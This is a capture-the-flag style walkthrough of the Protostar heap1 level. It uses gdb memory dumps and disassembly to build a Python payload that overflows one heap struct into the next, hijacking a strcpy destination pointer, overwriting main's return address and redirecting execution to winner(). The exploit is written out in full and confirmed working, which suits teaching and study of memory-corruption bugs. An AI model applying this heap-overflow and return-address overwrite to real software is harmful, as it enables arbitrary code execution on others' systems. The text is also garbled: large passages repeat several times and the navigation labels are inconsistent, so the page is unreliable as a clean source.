Protostar 0x0C - Heap1
Prev: 0x0B - Heap0
Next: 0x0C - Heap2
This level contains mallocs-within-mallocs, and unlike last level does not have a readily apparent objective - there's a "winner" function that we'll want to jump to, but there's no longer a convenient expression at the bottom which executes a function whose pointer we can overwrite.
Given that there are nested mallocs here which we haven't seen before, let's load up gdb to inspect the memory. First, we'll break after the first call to "malloc" so we can inspect the eax register, which will give us the start of our heap (plus 4, which we can subtract). Then, we'll break at the end of main, which will allow us to inspect the memory. Finally, we'll run the program with some dummy strings in argv[1] and argv[2].
$ gdb /opt/protostar/bin/heap1
GNU gdb (GDB) 7.0.1-debian
...
Reading symbols from /opt/protostar/bin/heap1...done.
(gdb) break *main+21
Breakpoint 1 at 0x80484ce: file heap1/heap1.c, line 23.
(gdb) break *main+174
Breakpoint 2 at 0x8048567: file heap1/heap1.c, line 35.
(gdb) r AAAAAAAA BBBBBBBB
Starting program: /opt/protostar/bin/heap1 AAAAAAAA BBBBBBBB
Breakpoint 1, 0x080484ce in main (argc=3, argv=0xbffffd64) at heap1/heap1.c:23
23 heap1/heap1.c: No such file or directory.
in heap1/heap1.c
(gdb) x/x $eax
0x804a008: 0x00000000
(gdb) c
Continuing.
and that's a wrap folks!
Breakpoint 2, 0x08048567 in main (argc=134513849, argv=0x3) at heap1/heap1.c:35
35 in heap1/heap1.c
(gdb) x/16x 0x804a008-4
0x804a004: 0x00000011 0x00000001 0x0804a018 0x00000000
0x804a014: 0x00000011 0x41414141 0x41414141 0x00000000
0x804a024: 0x00000011 0x00000002 0x0804a038 0x00000000
0x804a034: 0x00000011 0x42424242 0x42424242 0x00000000
Interesting - it seems that when the "name" variables within the "internet" struct are malloc'd, it results in a pointer (orange text above).
If we rerun the program and break at the first "strcpy" located at main + 127, we see that the eax register is loaded with this address to copy argv[1] into:
(gdb) break *main+127
Breakpoint 3 at 0x8048538: file heap1/heap1.c, line 31.
(gdb) c
Continuing.
Breakpoint 3, 0x08048538 in main (argc=3, argv=0xbffffd64) at heap1/heap1.c:31
31 in heap1/heap1.c
(gdb) x/x $eax
0x804a018: 0x00000000
Where does this address come from? Looking above the "strcpy" call in "main," we see these instructions:
0x08048520 <main+103>: mov 0xc(%ebp),%eax
0x08048523 <main+106>: add $0x4,%eax
0x08048526 <main+109>: mov (%eax),%eax
0x08048528 <main+111>: mov %eax,%edx
0x0804852a <main+113>: mov 0x14(%esp),%eax
0x0804852e <main+117>: mov 0x4(%eax),%eax
0x08048531 <main+120>: mov %edx,0x4(%esp)
0x08048535 <main+124>: mov %eax,(%esp)
0x08048538 <main+127>: call 0x804838c <strcpy@plt>
From 103 to 111, the stack address of argv[1] is loaded into eax, and then edx. Then, 0x14(esp) is loaded into eax, which we find to be the address of the first malloc of "i1." Next, the good stuff happens: the address located in the four-byte offset of eax replaces eax, and "strcpy" copies our argv[1] input into this eax address.
The four-byte offset of eax at that point means the four-byte offset of the "i1" struct. From inspecting the memory earlier, we recall that this is the pointer to the "name" variable malloc, the malloc-within-the-malloc. If you are confused, here's how the memory shakes out:
Next: 0x0C - Heap2
This level contains mallocs-within-mallocs, and unlike last level does not have a readily apparent objective - there's a "winner" function that we'll want to jump to, but there's no longer a convenient expression at the bottom which executes a function whose pointer we can overwrite.
Given that there are nested mallocs here which we haven't seen before, let's load up gdb to inspect the memory. First, we'll break after the first call to "malloc" so we can inspect the eax register, which will give us the start of our heap (plus 4, which we can subtract). Then, we'll break at the end of main, which will allow us to inspect the memory. Finally, we'll run the program with some dummy strings in argv[1] and argv[2].
$ gdb /opt/protostar/bin/heap1
GNU gdb (GDB) 7.0.1-debian
...
Reading symbols from /opt/protostar/bin/heap1...done.
(gdb) break *main+21
Breakpoint 1 at 0x80484ce: file heap1/heap1.c, line 23.
(gdb) break *main+174
Breakpoint 2 at 0x8048567: file heap1/heap1.c, line 35.
(gdb) r AAAAAAAA BBBBBBBB
Starting program: /opt/protostar/bin/heap1 AAAAAAAA BBBBBBBB
Breakpoint 1, 0x080484ce in main (argc=3, argv=0xbffffd64) at heap1/heap1.c:23
23 heap1/heap1.c: No such file or directory.
in heap1/heap1.c
(gdb) x/x $eax
0x804a008: 0x00000000
(gdb) c
Continuing.
and that's a wrap folks!
Breakpoint 2, 0x08048567 in main (argc=134513849, argv=0x3) at heap1/heap1.c:35
35 in heap1/heap1.c
(gdb) x/16x 0x804a008-4
0x804a004: 0x00000011 0x00000001 0x0804a018 0x00000000
0x804a014: 0x00000011 0x41414141 0x41414141 0x00000000
0x804a024: 0x00000011 0x00000002 0x0804a038 0x00000000
0x804a034: 0x00000011 0x42424242 0x42424242 0x00000000
Interesting - it seems that when the "name" variables within the "internet" struct are malloc'd, it results in a pointer (orange text above).
If we rerun the program and break at the first "strcpy" located at main + 127, we see that the eax register is loaded with this address to copy argv[1] into:
(gdb) break *main+127
Breakpoint 3 at 0x8048538: file heap1/heap1.c, line 31.
(gdb) c
Continuing.
Breakpoint 3, 0x08048538 in main (argc=3, argv=0xbffffd64) at heap1/heap1.c:31
31 in heap1/heap1.c
(gdb) x/x $eax
0x804a018: 0x00000000
Where does this address come from? Looking above the "strcpy" call in "main," we see these instructions:
0x08048520 <main+103>: mov 0xc(%ebp),%eax
0x08048523 <main+106>: add $0x4,%eax
0x08048526 <main+109>: mov (%eax),%eax
0x08048528 <main+111>: mov %eax,%edx
0x0804852a <main+113>: mov 0x14(%esp),%eax
0x0804852e <main+117>: mov 0x4(%eax),%eax
0x08048531 <main+120>: mov %edx,0x4(%esp)
0x08048535 <main+124>: mov %eax,(%esp)
0x08048538 <main+127>: call 0x804838c <strcpy@plt>
From 103 to 111, the stack address of argv[1] is loaded into eax, and then edx. Then, 0x14(esp) is loaded into eax, which we find to be the address of the first malloc of "i1." Next, the good stuff happens: the address located in the four-byte offset of eax replaces eax, and "strcpy" copies our argv[1] input into this eax address.
The four-byte offset of eax at that point means the four-byte offset of the "i1" struct. From inspecting the memory earlier, we recall that this is the pointer to the "name" variable malloc, the malloc-within-the-malloc. If you are confused, here's how the memory shakes out:
- 0x804a004: the start of the "i1" chunk, which contains the size "0x11"
- 0x804a008: the "priority" variable within "i1," which is "0x1"
- 0x804a00c: a pointer to the malloc'd "name" variable, which is 0x804a018
- 0x804a010: unused, as the "i1" chunk is rounded up to a size of 0x10 which is more than it needs
- 0x804a014: the start of the "name" chunk, which contains the size "0x11"
- 0x804a018: the start of the "name" variable itself, which is where argv[1] is copied
The key addresses above are orange: the pointer located at 0x804a00c is loaded into eax for the "strcpy." If we can overwrite this, we can copy our input to anywhere we want in memory!
Unfortunately, the "name" pointer precedes the "name" string itself, we cannot overflow into it... however, we actually malloc two structs, so we can overflow into the second one!
Let's examine the memory one last time so we can be confident in our objective:
0x804a004: 0x00000011 0x00000001 0x0804a018 0x00000000
0x804a014: 0x00000011 0x41414141 0x41414141 0x00000000
0x804a024: 0x00000011 0x00000002 0x0804a038 0x00000000
0x804a034: 0x00000011 0x42424242 0x42424242 0x00000000
The value we provide in argv[1] will be copied to 0x804a018 above, as that is the valued contained in 0x804a00c (these are orange). Then, the value we provide in argv[2] will be copied to 0x804a038, as that is the valued contained in 0x804a02c (these are green).
So, in argv[1] we will need to provide 20 bytes to overflow the remainder of the "i1" struct, plus the metadata and "priority" variable of the "i2" struct. Then, we can enter whatever new address we want to write to. Let's overwrite the address that "main" returns to.
(gdb) break *main+174
Breakpoint 5 at 0x8048567: file heap1/heap1.c, line 35.
(gdb) c
Continuing.
and that's a wrap folks!
0x8048567 <main+174>: ret
Breakpoint 5, 0x08048567 in main (argc=134513849, argv=0x3) at heap1/heap1.c:35
35 in heap1/heap1.c
(gdb) x/x $esp
0xbffffcbc: 0xb7eadc76
The address is 0xbffffcbc, so we will append that to our 20 dummy bytes in argv[1].
Now, what should we overwrite the return address with? Let's find the address of "winner:"
(gdb) print winner
$1 = {void (void)} 0x8048494 <winner>
So, argv[2] will be 0x8048494. Let's craft our payload in Python:
import struct
buffer = "A" * 20
write_to = struct.pack("<I", 0xbffffcbc)
payload = buffer + write_to
print payload
winner = struct.pack("<I", 0x8048494)
print winner
Note that we need two "prints" in order to provide two separate arguments. Let's run it:
$ /opt/protostar/bin/heap1 `python heap1.py`
and that's a wrap folks!
and we have a winner @ 1579844145
We've got it!
Prev: 0x0B - Heap0
Next: 0x0C - Heap2
0x804a014: 0x00000011 0x41414141 0x41414141 0x00000000
0x804a024: 0x00000011 0x00000002 0x0804a038 0x00000000
0x804a034: 0x00000011 0x42424242 0x42424242 0x00000000
The value we provide in argv[1] will be copied to 0x804a018 above, as that is the valued contained in 0x804a00c (these are orange). Then, the value we provide in argv[2] will be copied to 0x804a038, as that is the valued contained in 0x804a02c (these are green).
So, in argv[1] we will need to provide 20 bytes to overflow the remainder of the "i1" struct, plus the metadata and "priority" variable of the "i2" struct. Then, we can enter whatever new address we want to write to. Let's overwrite the address that "main" returns to.
(gdb) break *main+174
Breakpoint 5 at 0x8048567: file heap1/heap1.c, line 35.
(gdb) c
Continuing.
and that's a wrap folks!
0x8048567 <main+174>: ret
Breakpoint 5, 0x08048567 in main (argc=134513849, argv=0x3) at heap1/heap1.c:35
35 in heap1/heap1.c
(gdb) x/x $esp
0xbffffcbc: 0xb7eadc76
The address is 0xbffffcbc, so we will append that to our 20 dummy bytes in argv[1].
Now, what should we overwrite the return address with? Let's find the address of "winner:"
(gdb) print winner
$1 = {void (void)} 0x8048494 <winner>
So, argv[2] will be 0x8048494. Let's craft our payload in Python:
import struct
buffer = "A" * 20
write_to = struct.pack("<I", 0xbffffcbc)
payload = buffer + write_to
print payload
winner = struct.pack("<I", 0x8048494)
print winner
Note that we need two "prints" in order to provide two separate arguments. Let's run it:
$ /opt/protostar/bin/heap1 `python heap1.py`
and that's a wrap folks!
and we have a winner @ 1579844145
We've got it!
Prev: 0x0B - Heap0
Next: 0x0C - Heap2